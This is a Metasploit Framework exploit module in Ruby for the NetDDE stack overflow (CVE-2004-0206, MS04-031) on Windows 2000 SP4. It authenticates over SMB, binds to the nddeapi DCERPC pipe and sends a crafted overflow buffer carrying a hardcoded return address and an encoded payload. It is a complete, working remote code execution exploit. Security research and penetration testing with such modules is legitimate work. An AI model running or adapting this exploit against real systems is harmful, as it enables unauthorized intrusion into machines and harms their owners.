##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB
  
  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Microsoft NetDDE Service Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the NetDDE service, which is the 
        precursor to the DCOM interface.  This exploit effects only operating systems
        released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
        that this vulnerability can be exploited without authentication, the NDDEAPI
        pipe is only accessible after successful authentication.
      },
      'Author'         => [ 'pusscat' ],
      'License'        => BSD_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2004-0206'],
          [ 'OSVDB', '10689'],
          [ 'BID', '11372'], 
          [ 'MSB', 'MS04-031'],

        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'Space'    => (0x600 - (133*4) - 4),
          'BadChars' => "\\/.:$\x00",       # \ / . : $ NULL
          'Prepend'  => 'A' * 8,
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ],  # push esp, ret :)
        ],
      'DefaultTarget' => 0))
    register_options(
      [       
        OptString.new('SMBPIPE', [ true,  "The pipe name to use (nddeapi)", 'nddeapi']),
      ], self.class)    
  end

  def exploit
    connect()
    smb_login()
    print_status("Trying target #{target.name}...")
    
    handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
    print_status("Binding to #{handle}")
    dcerpc_bind(handle)
    print_status("Bound to #{handle}")

    retOverWrite = 
      'AA' + (NDR.long(target.ret) * 133) + payload.encoded

    overflowChunk = 
      retOverWrite +
      NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
      NDR.long(0x0)

    stubdata =
      NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
      NDR.long(rand(0xFFFFFFFF))

    print_status('Calling the vulnerable function...')

    begin
      response = dcerpc.call(0xc, stubdata)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    end

    handler
    disconnect
  end

end